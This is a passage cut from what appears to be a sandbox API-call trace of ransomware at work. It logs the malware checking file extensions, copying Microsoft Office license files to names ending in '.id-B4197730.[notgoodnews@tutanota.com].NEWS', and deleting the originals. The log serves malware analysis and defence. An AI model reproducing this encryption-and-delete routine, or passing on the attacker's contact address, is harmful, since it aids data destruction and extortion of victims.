(lpString=".jpg") returned 4 [0185.612] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.612] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.612] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32 [0185.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.613] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=22092) returned 1 [0185.613] CloseHandle (hObject=0x558) returned 1 [0185.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0185.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.614] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.614] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0185.615] GetLastError () returned 0x0 [0185.615] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x564c, lpOverlapped=0x0) returned 1 [0185.768] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5650, lpOverlapped=0x0) returned 1 [0185.784] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.784] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x114, lpOverlapped=0x0) returned 1 [0185.784] SetEndOfFile (hFile=0x478) returned 1 [0185.784] CloseHandle (hObject=0x478) returned 1 [0185.784] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.784] SetEndOfFile (hFile=0x558) returned 1 [0185.788] CloseHandle (hObject=0x558) returned 1 [0185.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0186.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.925] lstrlenW (lpString=".doc") returned 4 [0186.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".docx") returned 5 [0186.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.925] lstrlenW (lpString=".pdf") returned 4 [0186.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".xls") returned 4 [0186.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".xlsx") returned 5 [0186.925] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.925] lstrlenW (lpString=".ppt") returned 4 [0186.925] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.925] lstrlenW (lpString=".zip") returned 4 [0186.925] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".rar") returned 4 [0186.925] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".bz2") returned 4 [0186.925] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString=".7z") returned 3 [0186.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.925] lstrlenW (lpString=".dbf") returned 4 [0186.925] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.925] lstrlenW (lpString=".1cd") returned 4 [0186.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".jpg") returned 4 [0186.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".doc") returned 4 [0186.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".docx") returned 5 [0186.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.926] lstrlenW (lpString=".pdf") returned 4 [0186.926] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".xls") returned 4 [0186.926] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".xlsx") returned 5 [0186.926] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.926] lstrlenW (lpString=".ppt") returned 4 [0186.926] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".zip") returned 4 [0186.926] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".rar") returned 4 [0186.926] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".bz2") returned 4 [0186.926] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString=".7z") returned 3 [0186.926] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".dbf") returned 4 [0186.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".1cd") returned 4 [0186.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0186.926] lstrlenW (lpString=".jpg") returned 4 [0186.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.927] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.927] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33 [0186.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.928] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11621) returned 1 [0186.928] CloseHandle (hObject=0x550) returned 1 [0186.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0186.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.928] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.929] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0186.929] GetLastError () returned 0x0 [0186.929] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0186.931] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0186.932] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.933] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0186.933] SetEndOfFile (hFile=0x514) returned 1 [0186.933] CloseHandle (hObject=0x514) returned 1 [0186.933] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.933] SetEndOfFile (hFile=0x550) returned 1 [0186.936] CloseHandle (hObject=0x550) returned 1 [0186.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0186.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.937] lstrlenW (lpString=".doc") returned 4 [0186.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.937] lstrlenW (lpString=".docx") returned 5 [0186.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.937] lstrlenW (lpString=".pdf") returned 4 [0186.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.937] lstrlenW (lpString=".xls") returned 4 [0186.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.937] lstrlenW (lpString=".xlsx") returned 5 [0186.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.937] lstrlenW (lpString=".ppt") returned 4 [0186.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.937] lstrlenW (lpString=".zip") returned 4 [0186.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".rar") returned 4 [0186.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".bz2") returned 4 [0186.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".7z") returned 3 [0186.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString=".dbf") returned 4 [0186.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString=".1cd") returned 4 [0186.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString=".jpg") returned 4 [0186.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString=".doc") returned 4 [0186.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".docx") returned 5 [0186.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.938] lstrlenW (lpString=".pdf") returned 4 [0186.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".xls") returned 4 [0186.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".xlsx") returned 5 [0186.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.938] lstrlenW (lpString=".ppt") returned 4 [0186.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.938] lstrlenW (lpString=".zip") returned 4 [0186.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.938] lstrlenW (lpString=".rar") returned 4 [0186.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.939] lstrlenW (lpString=".bz2") returned 4 [0186.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.939] lstrlenW (lpString=".7z") returned 3 [0186.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.939] lstrlenW (lpString=".dbf") returned 4 [0186.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.939] lstrlenW (lpString=".1cd") returned 4 [0186.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0186.939] lstrlenW (lpString=".jpg") returned 4 [0186.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.939] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30 [0186.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.940] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11171) returned 1 [0186.940] CloseHandle (hObject=0x550) returned 1 [0186.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0186.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.941] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.941] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0186.942] GetLastError () returned 0x0 [0186.942] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0186.943] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0186.944] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.944] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x110, lpOverlapped=0x0) returned 1 [0186.945] SetEndOfFile (hFile=0x514) returned 1 [0186.945] CloseHandle (hObject=0x514) returned 1 [0186.945] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.945] SetEndOfFile (hFile=0x550) returned 1 [0186.948] CloseHandle (hObject=0x550) returned 1 [0186.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0186.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.950] lstrlenW (lpString=".doc") returned 4 [0186.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".docx") returned 5 [0186.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.950] lstrlenW (lpString=".pdf") returned 4 [0186.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".xls") returned 4 [0186.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".xlsx") returned 5 [0186.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.950] lstrlenW (lpString=".ppt") returned 4 [0186.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.950] lstrlenW (lpString=".zip") returned 4 [0186.950] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".rar") returned 4 [0186.950] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".bz2") returned 4 [0186.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.950] lstrlenW (lpString=".7z") returned 3 [0186.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.950] lstrlenW (lpString=".dbf") returned 4 [0186.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString=".1cd") returned 4 [0186.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString=".jpg") returned 4 [0186.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString=".doc") returned 4 [0186.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".docx") returned 5 [0186.951] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.951] lstrlenW (lpString=".pdf") returned 4 [0186.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".xls") returned 4 [0186.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".xlsx") returned 5 [0186.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.951] lstrlenW (lpString=".ppt") returned 4 [0186.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString=".zip") returned 4 [0186.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".rar") returned 4 [0186.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".bz2") returned 4 [0186.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString=".7z") returned 3 [0186.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft 